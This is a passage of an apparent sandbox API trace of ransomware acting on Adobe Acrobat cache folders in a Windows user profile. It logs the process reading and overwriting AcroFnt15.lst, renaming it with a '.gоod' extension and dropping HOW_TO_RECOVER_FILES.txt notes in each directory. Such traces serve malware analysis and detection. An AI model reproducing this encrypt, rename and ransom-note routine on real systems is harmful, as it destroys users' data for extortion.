ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.104] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x255e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt15.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0141.104] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.104] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0141.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0141.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0141.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0141.104] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", lpFilePart=0x0) returned 0x34 [0141.104] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.105] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.105] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x255e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt15.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0141.105] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x255e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt15.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0141.105] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0141.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0141.105] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", lpFilePart=0x0) returned 0x42 [0141.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0141.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\acrofnt15.lst"), fInfoLevelId=0x0, lpFileInformation=0x3b7cc70 | out: lpFileInformation=0x3b7cc70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x255e)) returned 1 [0141.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0141.106] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", lpFilePart=0x0) returned 0x42 [0141.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0141.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\acrofnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0141.106] GetFileType (hFile=0x650) returned 0x1 [0141.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0141.106] GetFileType (hFile=0x650) returned 0x1 [0141.106] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0141.106] ReadFile (in: hFile=0x650, lpBuffer=0x3b7d078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x3b7d078*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0141.108] CloseHandle (hObject=0x650) returned 1 [0141.108] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", lpFilePart=0x0) returned 0x42 [0141.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0141.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\acrofnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0141.108] GetFileType (hFile=0x650) returned 0x1 [0141.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0141.108] GetFileType (hFile=0x650) returned 0x1 [0141.108] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x255e [0141.108] WriteFile (in: hFile=0x650, lpBuffer=0x3b7e3e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x3b7e3e8*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0141.109] CloseHandle (hObject=0x650) returned 1 [0141.110] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", lpFilePart=0x0) returned 0x42 [0141.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0141.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\acrofnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0141.110] GetFileType (hFile=0x650) returned 0x1 [0141.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0141.110] GetFileType (hFile=0x650) returned 0x1 [0141.110] ReadFile (in: hFile=0x650, lpBuffer=0x3b806a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x3b806a0*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0141.137] CloseHandle (hObject=0x650) returned 1 [0141.138] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", lpFilePart=0x0) returned 0x42 [0141.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0141.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\acrofnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0141.138] GetFileType (hFile=0x650) returned 0x1 [0141.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0141.138] GetFileType (hFile=0x650) returned 0x1 [0141.138] WriteFile (in: hFile=0x650, lpBuffer=0x3b7f400*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x3b7f400*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0141.138] CloseHandle (hObject=0x650) returned 1 [0141.138] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", lpFilePart=0x0) returned 0x42 [0141.138] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst.gоod", lpFilePart=0x0) returned 0x47 [0141.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0141.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\acrofnt15.lst"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5056f2a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x256e)) returned 1 [0141.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0141.139] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\acrofnt15.lst"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\acrofnt15.lst.gоod")) returned 1 [0141.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ea650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0141.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eab70) returned 1 [0141.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\cache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0141.140] GetFileType (hFile=0x650) returned 0x1 [0141.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eaae0) returned 1 [0141.140] GetFileType (hFile=0x650) returned 0x1 [0141.141] WriteFile (in: hFile=0x650, lpBuffer=0x3bffe78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eac38, lpOverlapped=0x0 | out: lpBuffer=0x3bffe78*, lpNumberOfBytesWritten=0x1f6eac38*=0x5d0, lpOverlapped=0x0) returned 1 [0141.142] CloseHandle (hObject=0x650) returned 1 [0141.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0141.142] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpFilePart=0x0) returned 0x42 [0141.142] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.143] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.143] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0141.143] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0141.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0141.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0141.143] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpFilePart=0x0) returned 0x42 [0141.143] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.144] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.144] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0141.144] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0141.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0141.144] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ea650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5b [0141.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eab70) returned 1 [0141.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\toolssearchcacherdr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0141.383] GetFileType (hFile=0x644) returned 0x1 [0141.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eaae0) returned 1 [0141.383] GetFileType (hFile=0x644) returned 0x1 [0141.384] WriteFile (in: hFile=0x644, lpBuffer=0x39712c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eac38, lpOverlapped=0x0 | out: lpBuffer=0x39712c0*, lpNumberOfBytesWritten=0x1f6eac38*=0x5d0, lpOverlapped=0x0) returned 1 [0141.384] CloseHandle (hObject=0x644) returned 1 [0141.385] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6eb080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0141.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb5a0) returned 1 [0141.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0141.385] GetFileType (hFile=0x644) returned 0x1 [0141.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb510) returned 1 [0141.385] GetFileType (hFile=0x644) returned 0x1 [0141.386] WriteFile (in: hFile=0x644, lpBuffer=0x3974b28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eb668, lpOverlapped=0x0 | out: lpBuffer=0x3974b28*, lpNumberOfBytesWritten=0x1f6eb668*=0x5d0, lpOverlapped=0x0) returned 1 [0141.387] CloseHandle (hObject=0x644) returned 1 [0141.387] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ebab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0141.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebfd0) returned 1 [0141.387] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0141.387] GetFileType (hFile=0x644) returned 0x1 [0141.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf40) returned 1 [0141.387] GetFileType (hFile=0x644) returned 0x1 [0141.388] WriteFile (in: hFile=0x644, lpBuffer=0x3978390*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ec098, lpOverlapped=0x0 | out: lpBuffer=0x3978390*, lpNumberOfBytesWritten=0x1f6ec098*=0x5d0, lpOverlapped=0x0) returned 1 [0141.389] CloseHandle (hObject=0x644) returned 1 [0141.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0141.389] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", lpFilePart=0x0) returned 0x2b [0141.389] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.389] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.389] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, 